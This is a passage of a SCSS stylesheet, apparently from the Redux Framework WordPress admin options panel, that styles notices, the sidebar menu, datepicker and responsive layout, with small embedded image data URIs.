1px 0 rgba(255, 255, 255, 0.5); } .notice-blue { margin: 0; border-bottom: 1px solid #BCE8F1; background-color: #D9EDF7; color: #3A87AD; padding: 8px 35px 8px 14px; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); } .notice-yellow { margin: 0; border-bottom: 1px solid #E7E7E7; background-color: #FCF8E3; color: #C09853; padding: 8px 35px 8px 14px; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); } .notice-red, .redux-field-errors { margin: 0; border-bottom: 1px solid #E7E7E7; background-color: #F2DEDE; color: #B94A48; padding: 8px 35px 8px 14px; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); } .redux-field-error { input, textarea, checkbox { background-color: #FFF6F6; color: #A00; } } .redux-field-warning { input, textarea, checkbox { background-color: #fcf8e3; color: #444; } } .redux-field-errors, .redux-field-warnings, .redux-save-warn { display: none; } .sticky-save-warn { min-height: 76px; .redux-save-warn { position: fixed; top: 32px; right: 21px; left: 183px; opacity: 1; z-index: 9999; } } #info_bar { background: #f3f3f3; border-bottom: 1px solid #dedede; padding: 6px 10px 6px 6px; text-align: right; -moz-box-shadow: inset 0 1px 0 #fcfcfc; -webkit-box-shadow: inset 0 1px 0 #fcfcfc; box-shadow: inset 0 1px 0 #fcfcfc; } .redux-group-tab { display: none; margin-bottom: 15px; .redux-theme-data { padding: 20px 0; border-top: 1px solid #E7E7E7; &.theme-description { padding: 10px 0; border-width: 0; } &.theme-uri, &.theme-author, &.theme-version { padding: 0; border-width: 0; } } h3 { margin-top: 0; line-height: 2em; border-bottom: 1px solid #E7E7E7; } .redux-section-desc { margin-bottom: 15px; color: #666; } } .redux-action_bar { float: right; .spinner { float: left; margin-top: 4px; } } .redux-ajax-loading { display: none; background: red url(data:image/gif;base64,R0lGODlhEAAQAPUAAIiIiIqKio2NjZSUlJqamp6enqKioqSkpK+vr7i4uL+/v8PDw8XFxcnJyc/Pz9HR0dTU1NjY2Nzc3OLi4ubm5unp6ezs7PPz88vLy83NzdDQ0NXV1d3d3eHh4bu7u8zMzOvr6+3t7ZiYmNbW1sDAwMTExNra2s7OztPT09vb2+Xl5QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh/i1NYWRlIGJ5IEtyYXNpbWlyYSBOZWpjaGV2YSAod3d3LmxvYWRpbmZvLm5ldCkAIfkEAAoA/wAsAAAAABAAEAAABXDgJY6XZZEoOTnOlI5WdUFNA5UnSR3FJNUSieFAIUUEgcdl4noEBBGSZaHIiSqKhTX2GhVFiQGjuxgkSoYAoosAGE6RhKQrUURHlS+pItMVCHMjEgQ9JBJISg+JT3ciFg4NFkcCNw0OViiDgF0oTC8hACH5BAAKAP8ALAAAAAAQABAAAAVx4CWOZGle1qJYp2hV1xYE29V1JXUYHWUcnQgGwyFFBAENiqUZ1kapFamTyeBcsNOLMkoMGC3GIIEyBBAtRMDAiiSKp04iQqpwc9kRpUCAizgEBVciEQNJFxpKGgECdFAYYBsCAjUMGS0XgAODmDacIyEAIfkEAAoA/wAsAAAAABAAEAAABnbAi3BILBovIMUidBSGQJdNIKBBMomUg6FDMRgoHcOBQowIqNaLJiCIEEMLxdWpnIfITRAHnxgwjiEfDR8UIQYBCEcgDYwdUR6ORxEfG3MgeFiFRB0FBBxEHAQFkUJmaBofamxuRB9/GwICGxeMTRehnrabpERBACH5BAAKAP8ALAAAAAAQABAAAAZ9wItwSCwaL5aFwnIUWiqXUSAwulSYRMrB0KEYDJSO4UAhRgQBDZLpCAgixOSSWFEssEho81IWJgYMTQwDCUgGAQhNCAEGTCMJHU0dCXBDFX1DFhwdeHwFIhxmGBihQxEDaRcOGhYao1WZGIFnAiMUDg6YRR0ioE57Fx2RRkEAIfkEAAoA/wAsAAAAABAAEAAABXLgJY5kaV7WolinaLGQEEBXxZLUUUyUYVATw4FCisg0NZYmIIiQUosKqaJY3FDS1oUoSgwYrcUggTIAEC1EwMCKJCatSYI2qnBx2dGkQOCQOAQFdxdGARoVGhCITE4kGBgWEI8QFgwYWhGTWiMWERFXIyEAIfkEAAoA/wAsAAAAABAAEAAABn/Ai3BILBovloXCchRaKpdRIDC6VJhEysHQoRgMlI7hQCFGBAENkukICCLE5JJYUSywSGjzUhYmBgxNDAMJSAYBCE0IAAZMEQkdTRwKVUMcHHhCFXpDERgYcJYEBZFDI58aFhoOFxpuoUIUGhoUZwJVGA6ZaxccBAQce0QdpUVBACH5BAAKAP8ALAAAAAAQABAAAAZ8wItwSCwaLyEFKXQUhioXSCAAuVSYRMrB0KEYDJSO4UAhmgQBDZKpCQhMxFBJgRVWlFkOtElhUj4NH3VEJQMJFx0NintFCAEGISEQH3BHHR5VThVlRRSMQh0FBBxEHAQFnEJnaRcfHxdtb0WKIWcCVSUNTYgEo7tEHR1HQQAh+QQACgD/ACwAAAAAEAAQAAAGdcCLcEgsGi8hhSJ0FHY6l1EgMLqAmEROo5HqGAwqL5g42qKsoAsqIEgRVacTdAhSLLBI1bWpwiYGDE0MAwlIBgEITQgBBkwjCRxNHQlVdCpGekUqBQSRQxwEBZdDKQIBZ3FqbG5EDYEjpikhW3hFoJ1NRU9HQQA7) no-repeat; width: 16px; height: 16px; margin: 3px 4px 0; float: right; } #redux-intro-text { background: #f3f3f3; border-bottom: 1px solid #dedede; -moz-box-shadow: inset 0 1px 0 #fcfcfc; -webkit-box-shadow: inset 0 1px 0 #fcfcfc; box-shadow: inset 0 1px 0 #fcfcfc; padding: 3px; padding: 10px 10px; p { margin: 0; font-family: "Lucida Grande", Sans-serif; color: #888; } } .expand_options { cursor: pointer; display: block; height: 22px; width: 21px; float: left; font-size: 0; text-indent: -9999px; margin: 1px 0 0 5px; border: 1px solid #bbb; -webkit-border-radius: 2px; -moz-border-radius: 2px; border-radius: 2px; background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAAyCAIAAAAm4OfBAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAQhJREFUeNrslT0KhDAQhTeLR7ATT6IXSKGFYO0lciFrO1N4AU8TLNXKv0CaJbLJRAZxl1hYyJuXN+PoR/Z9fyFdBNNr27Zf8Oq6bhgGSGUYhpTSzyeBNi8hRFVVEK+6rrXaQFOs6yrvTdOYjcqyVEpTLqXI89yaSypBudq2xckF2TipOSvfmmhZFuAGnJV6Licvey5gj7fnwpwXvEfLfqnT0jQ1OBJCQLnUBvZ9b85VFAV076UU8g1ZckVRxBiDzD6OY62WzPOM9i+cpunvvcZxfCQfPWs9a91Ym2UZ5xyHtd/e8hXWng+/zlrD9jmz1tDj7bkw5wXv0Y210itJEs9az9oHsPYQYACveK0/IuB51AAAAABJRU5ErkJggg==) no-repeat -2px -26px; &.expanded { background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAAyCAIAAAAm4OfBAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAQhJREFUeNrslT0KhDAQhTeLR7ATT6IXSKGFYO0lciFrO1N4AU8TLNXKv0CaJbLJRAZxl1hYyJuXN+PoR/Z9fyFdBNNr27Zf8Oq6bhgGSGUYhpTSzyeBNi8hRFVVEK+6rrXaQFOs6yrvTdOYjcqyVEpTLqXI89yaSypBudq2xckF2TipOSvfmmhZFuAGnJV6Licvey5gj7fnwpwXvEfLfqnT0jQ1OBJCQLnUBvZ9b85VFAV076UU8g1ZckVRxBiDzD6OY62WzPOM9i+cpunvvcZxfCQfPWs9a91Ym2UZ5xyHtd/e8hXWng+/zlrD9jmz1tDj7bkw5wXv0Y210itJEs9az9oHsPYQYACveK0/IuB51AAAAABJRU5ErkJggg==) no-repeat -2px -1px } &:hover { border-color: #888; } } .sticky-footer-fixed { background: #f3f3f3; border-top: 1px solid #dedede !important; -moz-box-shadow: inset 0 1px 0 #fcfcfc; -webkit-box-shadow: inset 0 1px 0 #fcfcfc; box-shadow: inset 0 1px 0 #fcfcfc; } .redux-sidebar, .redux-main { min-height: 300px; } .redux-main { background: #FCFCFC; margin-left: 201px; border-left: 1px solid #D8D8D8; padding: 10px 20px; -moz-box-shadow: inset 0 1px 0 #fff; -webkit-box-shadow: inset 0 1px 0 #FFF; box-shadow: inset 0 1px 0 #FFF; position: relative; #redux_ajax_overlay { position: absolute; top: 0; left: 0; right: 0; bottom: 0; -moz-opacity: 0.10; -khtml-opacity: 0.10; opacity: 0.10; filter: progid:DXImageTransform.Microsoft.Alpha(opacity=10); filter: alpha(opacity=10); background: #000; z-index: 200; display: none; } .form-table.no-border { border-top: none; } .form-table tr { border-bottom: 1px solid #E7E7E7; &:last-child { border-bottom: none !important; } th, td { color: #333; } } .form-table tr td { table.mceLayout, table.mceLayout tr, table.mceLayout tr td { padding: 0; border-width: 0; } .redux-th-warning { font-size: 1em; color: #C09853; font-weight: normal; display: block; margin-top: 10px; } .redux-field-warning { border-color: #C09853; margin-top: 10px; } .redux-th-error { font-size: 1em; color: #B94A48; font-weight: normal; display: block; margin-top: 10px; } } input.large-text { width: 100%; } .hide { display: none; } .redux-field-container { padding: 20px 0; } .mini, input[type=text].mini { width: 60px; text-align: center; } input { line-height: 19px; } img { max-width: 100%; height: auto; width: auto !important; } .select2-default { width: auto !important; } .showDefaults { display: block; font-weight: normal; font-size: .8em; color: #888; } span.description { display: block; font-style: normal; font-weight: 400; } #redux-system-info textarea { min-height: 730px; width: 100%; } .field-desc { clear: both; font-size: 13px; } .data-full li { width: 100%; } .data-half li { width: 50%; float: left; } .data-third li { width: 33.3%; float: left; } .data-quarter li { width: 25%; float: left; } .ui-helper-hidden-accessible { top: inherit; } .form-table:first-child > tr th, .redux-main .form-table:first-child > tr td { //padding-top: 0 !important; } .form-table { clear: none; margin-top: 0px !important; &:first-child tr th, &:first-child tr td { // padding-top: 0 !important; } tr:first-child th, tr:first-child td { padding-top: 0; } } .input-append input { border-right: 0; margin-bottom: 0; border-top-right-radius: 0; border-bottom-right-radius: 0; margin-right: 0; float: left; margin-top: 0; display: block; } .input-append .add-on { border-top-right-radius: 3px; border-bottom-right-radius: 3px; margin-left: -2px; padding-top: 4px !important; padding-bottom: 2px !important; //float: left; } .input-prepend input { border-left: 0; margin-bottom: 0; border-top-left-radius: 0; border-bottom-left-radius: 0; margin-left: 0; padding-top: 2px; padding-bottom: 5px; float: left; margin-top: 0; display: block; } .input-prepend .add-on { border-top-left-radius: 3px; border-bottom-left-radius: 3px; float: left; } .input-append { margin-right: 10px; font-size: 0; white-space: nowrap; float: left; display: inline-block; margin-bottom: 6px; } .input-append .add-on, .input-prepend .add-on { width: auto; display: inline-block; min-width: 16px; padding: 3px 4px; font-size: 12px; font-weight: 400; line-height: 20px; text-align: center; text-shadow: 0 1px 0 #ffffff; background-color: #eeeeee; border: 1px solid #cccccc; } .input-prepend { font-size: 0; white-space: nowrap; float: left; display: inline-block; margin-bottom: 6px; } pre { white-space: pre-wrap; /* css-3 */ white-space: -moz-pre-wrap; /* Mozilla, since 1999 */ white-space: -pre-wrap; /* Opera 4-6 */ white-space: -o-pre-wrap; /* Opera 7 */ word-wrap: break-word; /* Internet Explorer 5.5+ */ } } } /* redux-container */ .no-js { border: 1px solid #ffbaba; margin: 0; border-bottom: 1px solid #E7E7E7; background-color: #F2DEDE; color: #B94A48; padding: 8px 35px 8px 14px; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); } /* main */ .redux-sidebar { width: 202px; float: left; .redux-group-menu { margin-top: 0 !important; li { margin-top: 0; &.active a, &.active a:hover, &.activeChild a, &.activeChild a:hover { background: #FCFCFC; color: #269ad6; width: 184px; opacity: 1; //margin-right:-2px; } &.active a li a { background: #333; padding-left: 5px; } &.divide { padding: 0; border-width: 1px 0; border-style: solid; border-bottom-color: #E7E7E7; border-top-color: #F9F9F9; } a:first-child { border-top: none; } a { display: block; padding: 10px 4px 10px 14px; background: #e0e0e0; background: transparent; border-width: 1px 0; border-style: solid; border-bottom-color: #E7E7E7; border-top-color: #F9F9F9; opacity: 0.7; color: #555; font-weight: 600; text-decoration: none; -webkit-transition: none; transition: none; &.custom-tab { background: #f6f6f6; } img { width: 16px; height: 16px; // vertical-align:middle; // margin-bottom:-3px; // margin-right: 3px; position: absolute; left: 15px; } &:hover { background: #e5e5e5; //width: 184px color: #777; //margin-right: -2px; opacity: 1; } } } } .redux-menu-warning, .redux-menu-error, .hasSubSections .extraIconSubsections { display: inline-block; float: right; padding: 6px 7px 4px 7px; margin-left: 4px; font-family: sans-serif; font-size: 9px; font-weight: 600; line-height: 9px; border-radius: 10px; -moz-border-radius: 10px; -webkit-border-radius: 10px; border: 0 solid transparent; //margin-right: 5px; i { margin-left: -3px; margin-top: -3px; } } .redux-menu-error { background-color: rgb(185, 74, 72); color: rgb(242, 222, 222); } .redux-menu-warning { background-color: #C09853; color: #FCF8E3; } ul { .subsection { display: none; } } .redux-group-tab-link-a { position: relative; outline: 0; i { vertical-align: middle; font-size: 1.35em; position: absolute; } span { display: block; &.group_title { padding-left: 30px; } } } .redux-group-tab-link-li a.hasError span.group_title { padding-right: 25px; } #redux-header { text-align: center; .display_header { float: none; } } } /* sidebar */ /* * * NHP_Options_color * */ .farb-popup-wrapper { position: relative; display: block; } .farb-popup { position: absolute; left: 40px; top: 40px; background-color: white; border: 1px solid #222; padding: 5px; z-index: 100; } .mp6 { .icon-themes { display: none; } .redux-container { #info_bar { padding: 6px 10px 6px 6px; a { margin-top: 2px; } } } } .redux-timer { text-align: center; font-size: 10px; color: #888; } .wrap { margin-top: 0; } @media screen and (max-width: 600px) { .redux-sidebar { width: 44px; .extraIconSubsections { display: none !important; } .redux-group-menu li a, .redux-group-menu li a:hover, .redux-group-menu li.active a, .redux-group-menu li.active a:hover, .redux-group-menu li.activeChild a, .redux-group-menu li.activeChild a:hover { width: auto; } .redux-group-tab-link-a { position: relative; i { position: inherit; } span { display: none; position: absolute; top: 0; left: 44px; padding: 12px; width: 200px; background: #eeeeee; border: 1px solid #ccc; -webkit-box-shadow: 2px 2px 8px rgba(0, 0, 0, .2); -moz-box-shadow: 2px 2px 8px rgba(0, 0, 0, .2); box-shadow: 2px 2px 8px rgba(0, 0, 0, .2); border-width: 1px 1px 1px 0px; z-index: 3; } &:hover > span { display: block; } } } .redux-main { margin-left: 43px; width: auto; max-width: 100%; } table.form-table, .form-table > thead, .form-table > tbody, .form-table > tbody > tr > th, .form-table > tbody > tr > td, .form-table > tbody > tr { display: block; width: 100% !important; padding: 0px !important; } .form-table > tbody > tr > th, .form-table > tbody > tr > td { padding: 10px !important; } .form-table > tbody > tr > th, .form-table > tbody > tr > td { padding: 10px !important; } } //mp6 fixes @media screen and (max-width: 782px) { .form-table>tbody>tr>th { width: 100%; } .redux_field_th { padding-bottom:0; } .mp6 { .redux-container { #info_bar { height: auto; padding-bottom: 1px; a { margin-top: 5px; } } } } .redux-container-switch label { padding: 5px 10px !important; } .redux-container-button_set label { padding: 12px 10px; } .redux-container #redux-footer #redux-share { line-height: 34px; } } pre { overflow: hidden; } /* Default admin theme */ #redux-header h2 { color: #fff; } @mixin backgroundGradient($to: darken($to, 5%), $from: lighten($to, 7%)) { background-color: $to !important; background-image: -khtml-gradient(linear, left top, left bottom, from($from), to($to)) !important; background-image: -moz-linear-gradient(top, $from, $to) !important; background-image: -ms-linear-gradient(top, $from, $to) !important; background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, $from), color-stop(100%, $to)) !important; background-image: -webkit-linear-gradient(top, $from, $to) !important; background-image: -o-linear-gradient(top, $from, $to) !important; background-image: -linear-gradient(top, $from, $to) !important; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#{$from}', endColorstr='#{$to}', GradientType=0) !important; } @mixin adminThemeColorOverrides($darkColor, $accentColor, $secondaryColor, $buttonPrimary) { .button.ui-datepicker-current, button.ui-datepicker-close { background-color: lighten($accentColor, 3%) !important; } .ui-datepicker-buttonpane button.ui-datepicker-current { background: $buttonPrimary !important; color: white !important; border: 1px solid darken($buttonPrimary, 20%) !important; } .ui-datepicker-header .ui-icon { background-image: url(data:image/png;base64,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) !important; } .ui-datepicker-header { background-color: $secondaryColor !important; color: white !important; } .ui-datepicker td .ui-state-active { background-color: lighten($accentColor, 3%) !important; color: white !important; } .ui-datepicker td .ui-state-hover { color: lighten($accentColor, 3%) !important; } .ui-datepicker td .ui-state-highlight { background: $accentColor !important; border: 1px solid $secondaryColor !important; color: white !important; } .redux-container-switch .cb-disable, .redux-container-switch .cb-enable, .ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { @include backgroundGradient(#f5f5f5, #f8f8f8); border-color: #ccc !important; } .ui-datepicker td .ui-state-active { color: black !important; font-weight: 700 !important; background: white !important; } .redux-container-switch .cb-disable.selected { @include backgroundGradient(#646464, #929292); border-color: #767676 !important; } .redux-container-switch .cb-enable.selected, .redux-field-container .ui-buttonset .ui-state-active { @include backgroundGradient($accentColor); border-color: darken($accentColor, 15%) !important; border-color: darken($accentColor, 10%) !important; -webkit-box-shadow: inset 0 1px 0 lighten($accentColor, 15%), 0 1px 0 rgba(0, 0, 0, .15) !important; box-shadow: inset 0 1px 0 lighten($accentColor, 15%), 0 1px 0 rgba(0, 0, 0, .15) !important; } #redux-header { background: $secondaryColor; border-color: $accentColor; .display_header span { color: $darkColor; } } .redux-sidebar .redux-group-menu li.active { &.hasSubSections { a { position: relative; &:after { right: 0; border: solid 8px transparent; content: "\0020"; height: 0; width: 0; position: absolute; pointer-events: none; border-right-color: #fff; top: 50%; margin-top: -8px; } } ul.subsection li a:after { border: 0 none !important; content: "\0020" !important; } } } .redux-sidebar .redux-group-menu li { &.hasSubSections { .redux-menu-error { display: none; margin-right: 5px; } a { &.hasError { .extraIconSubsections { background-color: rgb(185, 74, 72); color: rgb(242, 222, 222); } } .extraIconSubsections { border-radius: 10px; -moz-border-radius: 10px; -webkit-border-radius: 10px; border: 0 solid transparent; font-size: 9px; height: 9px; line-height: 9px; margin-right: 5px; padding: 6px 7px 4px 7px; width: 5px; } &:hover .extraIconSubsections { //right: 2px; } } } &.active, &.activeChild { a .extraIconSubsections { display: none; } &.hasSubSections { .redux-menu-error { display: block; } .subsection { .redux-menu-error { margin-right: 2px; } } } } } .redux-sidebar .redux-group-menu { li.active, li.activeChild { border-left: 0 none; a { color: $secondaryColor; } &.hasSubSections { .active { a { &:after { right: 0; border: solid 8px transparent; content: "\0020"; height: 0; width: 0; position: absolute; pointer-events: none; border-right-color: #fff; top: 50%; margin-top: -8px; } } } a { -webkit-transition: all 0.2s; -moz-transition: all 